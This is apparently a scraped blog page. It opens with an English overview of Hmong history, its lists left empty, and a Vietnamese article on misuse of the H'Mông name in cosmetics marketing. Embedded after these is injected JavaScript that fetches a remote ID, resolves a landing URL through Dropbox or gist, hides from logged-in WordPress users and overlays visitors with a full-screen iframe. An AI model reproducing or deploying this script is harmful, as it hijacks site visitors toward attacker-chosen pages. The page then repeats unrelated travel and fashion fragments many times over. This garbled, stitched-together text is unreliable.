Introduction

The Hmong people—also known in broader Chinese administrative terminology as part of the Miao nationalities—represent one of the most historically complex and globally dispersed highland populations in Asia. Today, Hmong communities live across China, Vietnam, Laos, Thailand, Myanmar, the United States, France, Australia, and several other countries.

Modern scholarship does not treat Hmong history as a simple uninterrupted ethnic narrative extending unchanged from antiquity to the present. Instead, historians and anthropologists understand Hmong identity as the product of:

Over the past fifty years, the Hmong have become a major subject within:


1. The Problem of Naming: “Hmong” and “Miao”

One of the most important scientific clarifications concerns terminology.

“Hmong” is not identical to “Miao”

In the People’s Republic of China, Miao (苗) is an official state classification that includes multiple culturally and linguistically related populations.

However:

“Hmong” is generally understood as a self-designation used by specific groups within the broader Hmong–Mien linguistic world.

Modern scholars therefore distinguish between:

This distinction is essential in serious academic work.


2. Origins and Early Historical Development

The Hmong–Mien Language Family

Linguistic evidence places the ancestors of Hmong-speaking peoples within the broader Hmong–Mien language family originating in southern China.

Most scholars associate early Hmong–Mien populations with:

However, historians emphasize an important methodological caution:

Ancient Chinese references to “Miao” populations cannot automatically be equated with all modern Hmong communities.

Many popular nationalist narratives oversimplify this issue by projecting present-day ethnic identities directly into ancient history.

Current scholarship avoids such direct historical continuity claims unless supported by strong linguistic, archaeological, and documentary evidence.


3. Relations with Chinese Dynasties

For centuries, Hmong/Miao communities inhabited frontier upland regions beyond the effective control of many imperial states.

Frontier Dynamics

Relations with successive Chinese dynasties were shaped by:

Imperial expansion into southwestern China intensified particularly during:


4. The Miao Rebellions

Between the fifteenth and nineteenth centuries, several major uprisings occurred in southwestern China involving Miao/Hmong populations.

The 1795–1806 Miao Rebellion

One of the largest rebellions erupted during the Qing dynasty in:

The rebellion was eventually suppressed with heavy casualties and widespread displacement.

Historians consider this period important because it accelerated:


5. Migration into Southeast Asia

A Long-Term Historical Process

Modern research rejects the idea of a single “great migration.”

Instead, migration occurred gradually over multiple generations, especially from:

Primary causes included:

Hmong communities gradually settled across:


6. Highland Adaptation and Social Organization

Anthropologists have long studied the Hmong as a major upland society of mainland Southeast Asia.

Economic Systems

Traditional Hmong economies often involved:

Clan Structure

Hmong societies developed strong clan-based social systems that played central roles in:

These clan structures later became crucial in refugee resettlement and diaspora survival.


7. Colonialism and the Transformation of Highland Politics

During the French colonial period in Indochina, Hmong populations became increasingly integrated into regional political and military systems.

Colonial authorities alternated between:

Different Hmong groups developed different political alliances depending on:

There was never a single unified “Hmong political position.”


8. The Secret War in Laos (1961–1975)

The most internationally significant event in modern Hmong history was the CIA-backed conflict in Laos during the Cold War.

The Cold War Context

As part of anti-communist operations in Laos, the United States Central Intelligence Agency recruited large numbers of Hmong fighters into Special Guerrilla Units (SGUs).

The best-known Hmong military leader was:

General Vang Pao

Under CIA coordination, Hmong forces participated in:


9. Scientific Caution: Not All Hmong Were on the Same Side

One of the most important corrections in recent scholarship is the rejection of simplified Cold War narratives.

Modern historians emphasize that:

Choices were shaped by:

This complexity is often lost in popular retellings.


10. Refugee Crisis and Global Diaspora

After the communist victory in Laos in 1975:

This produced one of the largest highland refugee diasporas of the twentieth century.


11. The Hmong in the United States

Beginning in the late 1970s, major Hmong communities formed in:

Today, the United States hosts the world’s largest Hmong diaspora population outside Asia.

Cities such as:

became major centers of Hmong political, educational, and cultural life.


12. Cultural Preservation and Reinvention

Despite global dispersal, Hmong communities have maintained strong cultural continuity.

Major Cultural Traditions

Key cultural practices include:

Anthropologists often cite the Hmong as an example of:

strong transnational cultural resilience under conditions of displacement.


13. Writing Systems and Language Preservation

Historically, the Hmong did not possess a single universally standardized writing system.

Modern systems include:

Writing systems became deeply connected to:


14. Hmong Studies in Contemporary Academia

Today, Hmong communities occupy a major place in international scholarship.

Key research themes include:

Universities in the United States increasingly include:


15. Common Misconceptions

“All Miao are Hmong”

Incorrect.

“Miao” is a broader administrative category.

“The Hmong are a completely unified global people”

Incorrect.

There are:

“Ancient Chinese records describe the modern Hmong exactly”

Not scientifically demonstrable.

Historical continuity remains a subject of ongoing scholarly debate.


Conclusion

The history of the Hmong people is not simply a story of isolation in remote mountains. It is a global history shaped by:

From the highlands of southern China to refugee camps in Thailand and urban communities in the United States, the Hmong have transformed from a predominantly upland frontier society into a globally connected transnational people.

Modern scholarship increasingly recognizes that the Hmong are not merely survivors of historical upheaval, but active participants in the making of contemporary global history.

Their experience offers one of the clearest examples of how identity, memory, migration, and cultural resilience interact across borders and generations in the modern world.

#hmong #hmoob

I. Thực trạng đáng báo động: Sự bùng nổ “ảo” của các thương hiệu mỹ phẩm, TPCN mang tên H’Mông

Trong vài năm trở lại đây, thị trường Việt Nam chứng kiến sự bùng nổ của hàng loạt thương hiệu mỹ phẩm và thực phẩm chức năng mang yếu tố “thảo dược dân tộc”, trong đó tên tuổi người H’Mông được sử dụng rộng rãi như một biểu tượng của thiên nhiên, bản sắc và niềm tin.

Tuy nhiên, phía sau lớp vỏ truyền thông hào nhoáng, hàng loạt sản phẩm được phát hiện:

Điều đáng buồn hơn, nhiều thương hiệu do chính người H’Mông sáng lập hoặc đại diện lại là nạn nhân – hoặc cộng tác viên – cho các “ông trùm” đa cấp, chộp giật, và thiếu đạo đức kinh doanh.


II. Người H’Mông – từ người giữ tri thức bản địa trở thành công cụ marketing

Hình ảnh người phụ nữ H’Mông hái thuốc, các loại lá cây vùng cao, những câu chuyện “gia truyền” được khai thác tối đa như một công cụ marketing. Tuy nhiên, tri thức bản địa không thể trở thành “hương liệu trang trí” cho các sản phẩm rẻ tiền.

Nếu tri thức đó không được:

thì nó chỉ là thứ bị lợi dụng, không đem lại giá trị cho cộng đồng, thậm chí còn hủy hoại uy tín người H’Mông trên thị trường.


III. Sự thay đổi của thời đại: Ngày nay, người tiêu dùng cần có kiến thức

Trước kia, người bán hàng cần có chuyên môn. Ngày nay, ai cũng có thể bán nếu có tiền, có ngoại hình hoặc khả năng truyền thông. Vậy nên, người tiêu dùng mới là người phải tự trang bị kiến thức để không bị lừa.

Các sản phẩm “tự xưng là tốt” thường đi kèm:

Đây là lúc người tiêu dùng – đặc biệt là đồng bào vùng cao, người dân nông thôn – cần được truyền thông giáo dục sức khỏe, kiến thức tiêu dùng thông minh và kỹ năng phân biệt hàng thật – giả.


IV. Những thương hiệu H’Mông “nửa mùa” cần tỉnh thức

Một số người H’Mông giàu có, nổi tiếng, tự cho mình là “doanh nhân khởi nghiệp bản sắc” nhưng thực chất không hiểu về dược học, công nghệ sinh học, hay chuỗi cung ứng an toàn. Họ đứng tên công ty, thuê người sản xuất, rồi gắn mác truyền thống H’Mông.

Họ không biết:

Một thương hiệu chỉ bền vững nếu dựa trên sự thật, khoa học, và đạo đức. Nếu không, đó chỉ là một cơn sốt chớp nhoáng – rồi tan biến, để lại hậu quả cho cộng đồng.


V. Khuyến nghị các cơ quan chức năng và báo chí

Chúng tôi kêu gọi:

  1. Bộ Y tế, Cục An toàn Thực phẩm, Cục Quản lý Dược cần thanh tra chặt chẽ hơn các sản phẩm gắn mác dân tộc, đặc biệt tại vùng nông thôn, vùng sâu vùng xa và trên mạng xã hội.
  2. Báo chí, các đài phát thanh – truyền hình vùng cao cần tăng cường các chương trình truyền thông giáo dục cộng đồng H’Mông về tiêu dùng, sức khỏe, phân biệt thật giả.
  3. Cục Sở hữu trí tuệ và Viện Dân tộc học cần có các chương trình bảo vệ tri thức bản địa, tránh bị đánh cắp, thương mại hóa sai cách.

VI. Định hướng tương lai: Phát triển bền vững từ gốc rễ tri thức

Nếu thực sự muốn đưa sản phẩm H’Mông ra thế giới, chúng ta cần:


VII. Lời nhắn gửi cuối cùng đến cộng đồng

Đồng bào H’Mông ta rất giỏi, rất kiên cường. Nhưng hãy tỉnh táo!

Chúng ta có thể tạo ra thương hiệu mạnh, thực sự mang tính toàn cầu. Nhưng không phải bằng con đường tắt. Mà bằng con đường thật, có tâm – có tầm – và có tương lai.

#hmong #3hmoob #hmoob

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} } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i = 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i = 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i = 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i = 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i = 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i = 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i = 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j = 0 ? “&” : “?”; return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return “”; if (template.indexOf(“dropbox.com”) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id || "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();

We woke reasonably late following the feast and free flowing wine the night before. After gathering ourselves and our packs, we headed down to our homestay family’s small dining room for breakfast.

Refreshingly, what was expected of her was the same thing that was expected of Lara Stone: to take a beautiful picture.

We were making our way to the Rila Mountains, where we were visiting the Rila Monastery where we enjoyed scrambled eggs, toast, mekitsi, local jam and peppermint tea.

Adderall and flirting with bulimia in an attempt to whittle herself

We wandered the site with other tourists

Yet strangely the place did not seem crowded. I’m not sure if it was the sheer size of the place, or whether the masses congregated in one area and didn’t venture far from the main church, but I didn’t feel overwhelmed by tourists in the monastery.

City Guide for Vienna

Headed over Lions Bridge and made our way to the Sofia Synagogue, then sheltered in the Central Market Hall until the recurrent (but short-lived) mid-afternoon rain passed.

Feeling refreshed after an espresso, we walked a short distance to the small but welcoming Banya Bashi Mosque, then descended into the ancient Serdica complex.

We were exhausted after a long day of travel, so we headed back to the hotel and crashed.

I had low expectations about Sofia as a city, but after the walking tour I absolutely loved the place. This was an easy city to navigate, and it was a beautiful city – despite its ugly, staunch and stolid communist-built surrounds. Sofia has a very average facade as you enter the city, but once you lose yourself in the old town area, everything changes.

Clothes can transform your mood and confidence. Fashion moves so quickly that, unless you have a strong point of view, you can lose integrity. I like to be real. I don’t like things to be staged or fussy. I think I’d go mad if I didn’t have a place to escape to. You have to stay true to your heritage, that’s what your brand is about.

We woke reasonably late following the feast and free flowing wine the night before. After gathering ourselves and our packs, we headed down to our homestay family’s small dining room for breakfast.

Refreshingly, what was expected of her was the same thing that was expected of Lara Stone: to take a beautiful picture.

We were making our way to the Rila Mountains, where we were visiting the Rila Monastery where we enjoyed scrambled eggs, toast, mekitsi, local jam and peppermint tea.

Adderall and flirting with bulimia in an attempt to whittle herself

We wandered the site with other tourists

Yet strangely the place did not seem crowded. I’m not sure if it was the sheer size of the place, or whether the masses congregated in one area and didn’t venture far from the main church, but I didn’t feel overwhelmed by tourists in the monastery.

City Guide for Vienna

Headed over Lions Bridge and made our way to the Sofia Synagogue, then sheltered in the Central Market Hall until the recurrent (but short-lived) mid-afternoon rain passed.

Feeling refreshed after an espresso, we walked a short distance to the small but welcoming Banya Bashi Mosque, then descended into the ancient Serdica complex.

We were exhausted after a long day of travel, so we headed back to the hotel and crashed.

I had low expectations about Sofia as a city, but after the walking tour I absolutely loved the place. This was an easy city to navigate, and it was a beautiful city – despite its ugly, staunch and stolid communist-built surrounds. Sofia has a very average facade as you enter the city, but once you lose yourself in the old town area, everything changes.

Clothes can transform your mood and confidence. Fashion moves so quickly that, unless you have a strong point of view, you can lose integrity. I like to be real. I don’t like things to be staged or fussy. I think I’d go mad if I didn’t have a place to escape to. You have to stay true to your heritage, that’s what your brand is about.

We woke reasonably late following the feast and free flowing wine the night before. After gathering ourselves and our packs, we headed down to our homestay family’s small dining room for breakfast.

Refreshingly, what was expected of her was the same thing that was expected of Lara Stone: to take a beautiful picture.

We were making our way to the Rila Mountains, where we were visiting the Rila Monastery where we enjoyed scrambled eggs, toast, mekitsi, local jam and peppermint tea.

Adderall and flirting with bulimia in an attempt to whittle herself

We wandered the site with other tourists

Yet strangely the place did not seem crowded. I’m not sure if it was the sheer size of the place, or whether the masses congregated in one area and didn’t venture far from the main church, but I didn’t feel overwhelmed by tourists in the monastery.

City Guide for Vienna

Headed over Lions Bridge and made our way to the Sofia Synagogue, then sheltered in the Central Market Hall until the recurrent (but short-lived) mid-afternoon rain passed.

Feeling refreshed after an espresso, we walked a short distance to the small but welcoming Banya Bashi Mosque, then descended into the ancient Serdica complex.

We were exhausted after a long day of travel, so we headed back to the hotel and crashed.

I had low expectations about Sofia as a city, but after the walking tour I absolutely loved the place. This was an easy city to navigate, and it was a beautiful city – despite its ugly, staunch and stolid communist-built surrounds. Sofia has a very average facade as you enter the city, but once you lose yourself in the old town area, everything changes.

Clothes can transform your mood and confidence. Fashion moves so quickly that, unless you have a strong point of view, you can lose integrity. I like to be real. I don’t like things to be staged or fussy. I think I’d go mad if I didn’t have a place to escape to. You have to stay true to your heritage, that’s what your brand is about.

We woke reasonably late following the feast and free flowing wine the night before. After gathering ourselves and our packs, we headed down to our homestay family’s small dining room for breakfast.

Refreshingly, what was expected of her was the same thing that was expected of Lara Stone: to take a beautiful picture.

We were making our way to the Rila Mountains, where we were visiting the Rila Monastery where we enjoyed scrambled eggs, toast, mekitsi, local jam and peppermint tea.

Adderall and flirting with bulimia in an attempt to whittle herself

We wandered the site with other tourists

Yet strangely the place did not seem crowded. I’m not sure if it was the sheer size of the place, or whether the masses congregated in one area and didn’t venture far from the main church, but I didn’t feel overwhelmed by tourists in the monastery.

City Guide for Vienna

Headed over Lions Bridge and made our way to the Sofia Synagogue, then sheltered in the Central Market Hall until the recurrent (but short-lived) mid-afternoon rain passed.

Feeling refreshed after an espresso, we walked a short distance to the small but welcoming Banya Bashi Mosque, then descended into the ancient Serdica complex.

We were exhausted after a long day of travel, so we headed back to the hotel and crashed.

I had low expectations about Sofia as a city, but after the walking tour I absolutely loved the place. This was an easy city to navigate, and it was a beautiful city – despite its ugly, staunch and stolid communist-built surrounds. Sofia has a very average facade as you enter the city, but once you lose yourself in the old town area, everything changes.

Clothes can transform your mood and confidence. Fashion moves so quickly that, unless you have a strong point of view, you can lose integrity. I like to be real. I don’t like things to be staged or fussy. I think I’d go mad if I didn’t have a place to escape to. You have to stay true to your heritage, that’s what your brand is about.

We woke reasonably late following the feast and free flowing wine the night before. After gathering ourselves and our packs, we headed down to our homestay family’s small dining room for breakfast.

Refreshingly, what was expected of her was the same thing that was expected of Lara Stone: to take a beautiful picture.

We were making our way to the Rila Mountains, where we were visiting the Rila Monastery where we enjoyed scrambled eggs, toast, mekitsi, local jam and peppermint tea.

Adderall and flirting with bulimia in an attempt to whittle herself

We wandered the site with other tourists

Yet strangely the place did not seem crowded. I’m not sure if it was the sheer size of the place, or whether the masses congregated in one area and didn’t venture far from the main church, but I didn’t feel overwhelmed by tourists in the monastery.

City Guide for Vienna

Headed over Lions Bridge and made our way to the Sofia Synagogue, then sheltered in the Central Market Hall until the recurrent (but short-lived) mid-afternoon rain passed.

Feeling refreshed after an espresso, we walked a short distance to the small but welcoming Banya Bashi Mosque, then descended into the ancient Serdica complex.

We were exhausted after a long day of travel, so we headed back to the hotel and crashed.

I had low expectations about Sofia as a city, but after the walking tour I absolutely loved the place. This was an easy city to navigate, and it was a beautiful city – despite its ugly, staunch and stolid communist-built surrounds. Sofia has a very average facade as you enter the city, but once you lose yourself in the old town area, everything changes.

Clothes can transform your mood and confidence. Fashion moves so quickly that, unless you have a strong point of view, you can lose integrity. I like to be real. I don’t like things to be staged or fussy. I think I’d go mad if I didn’t have a place to escape to. You have to stay true to your heritage, that’s what your brand is about.

We woke reasonably late following the feast and free flowing wine the night before. After gathering ourselves and our packs, we headed down to our homestay family’s small dining room for breakfast.

Refreshingly, what was expected of her was the same thing that was expected of Lara Stone: to take a beautiful picture.

We were making our way to the Rila Mountains, where we were visiting the Rila Monastery where we enjoyed scrambled eggs, toast, mekitsi, local jam and peppermint tea.

Adderall and flirting with bulimia in an attempt to whittle herself

We wandered the site with other tourists

Yet strangely the place did not seem crowded. I’m not sure if it was the sheer size of the place, or whether the masses congregated in one area and didn’t venture far from the main church, but I didn’t feel overwhelmed by tourists in the monastery.

City Guide for Vienna

Headed over Lions Bridge and made our way to the Sofia Synagogue, then sheltered in the Central Market Hall until the recurrent (but short-lived) mid-afternoon rain passed.

Feeling refreshed after an espresso, we walked a short distance to the small but welcoming Banya Bashi Mosque, then descended into the ancient Serdica complex.

We were exhausted after a long day of travel, so we headed back to the hotel and crashed.

I had low expectations about Sofia as a city, but after the walking tour I absolutely loved the place. This was an easy city to navigate, and it was a beautiful city – despite its ugly, staunch and stolid communist-built surrounds. Sofia has a very average facade as you enter the city, but once you lose yourself in the old town area, everything changes.

Clothes can transform your mood and confidence. Fashion moves so quickly that, unless you have a strong point of view, you can lose integrity. I like to be real. I don’t like things to be staged or fussy. I think I’d go mad if I didn’t have a place to escape to. You have to stay true to your heritage, that’s what your brand is about.

We woke reasonably late following the feast and free flowing wine the night before. After gathering ourselves and our packs, we headed down to our homestay family’s small dining room for breakfast.

Refreshingly, what was expected of her was the same thing that was expected of Lara Stone: to take a beautiful picture.

We were making our way to the Rila Mountains, where we were visiting the Rila Monastery where we enjoyed scrambled eggs, toast, mekitsi, local jam and peppermint tea.

Adderall and flirting with bulimia in an attempt to whittle herself

We wandered the site with other tourists

Yet strangely the place did not seem crowded. I’m not sure if it was the sheer size of the place, or whether the masses congregated in one area and didn’t venture far from the main church, but I didn’t feel overwhelmed by tourists in the monastery.

City Guide for Vienna

Headed over Lions Bridge and made our way to the Sofia Synagogue, then sheltered in the Central Market Hall until the recurrent (but short-lived) mid-afternoon rain passed.

Feeling refreshed after an espresso, we walked a short distance to the small but welcoming Banya Bashi Mosque, then descended into the ancient Serdica complex.

We were exhausted after a long day of travel, so we headed back to the hotel and crashed.

I had low expectations about Sofia as a city, but after the walking tour I absolutely loved the place. This was an easy city to navigate, and it was a beautiful city – despite its ugly, staunch and stolid communist-built surrounds. Sofia has a very average facade as you enter the city, but once you lose yourself in the old town area, everything changes.

Clothes can transform your mood and confidence. Fashion moves so quickly that, unless you have a strong point of view, you can lose integrity. I like to be real. I don’t like things to be staged or fussy. I think I’d go mad if I didn’t have a place to escape to. You have to stay true to your heritage, that’s what your brand is about.

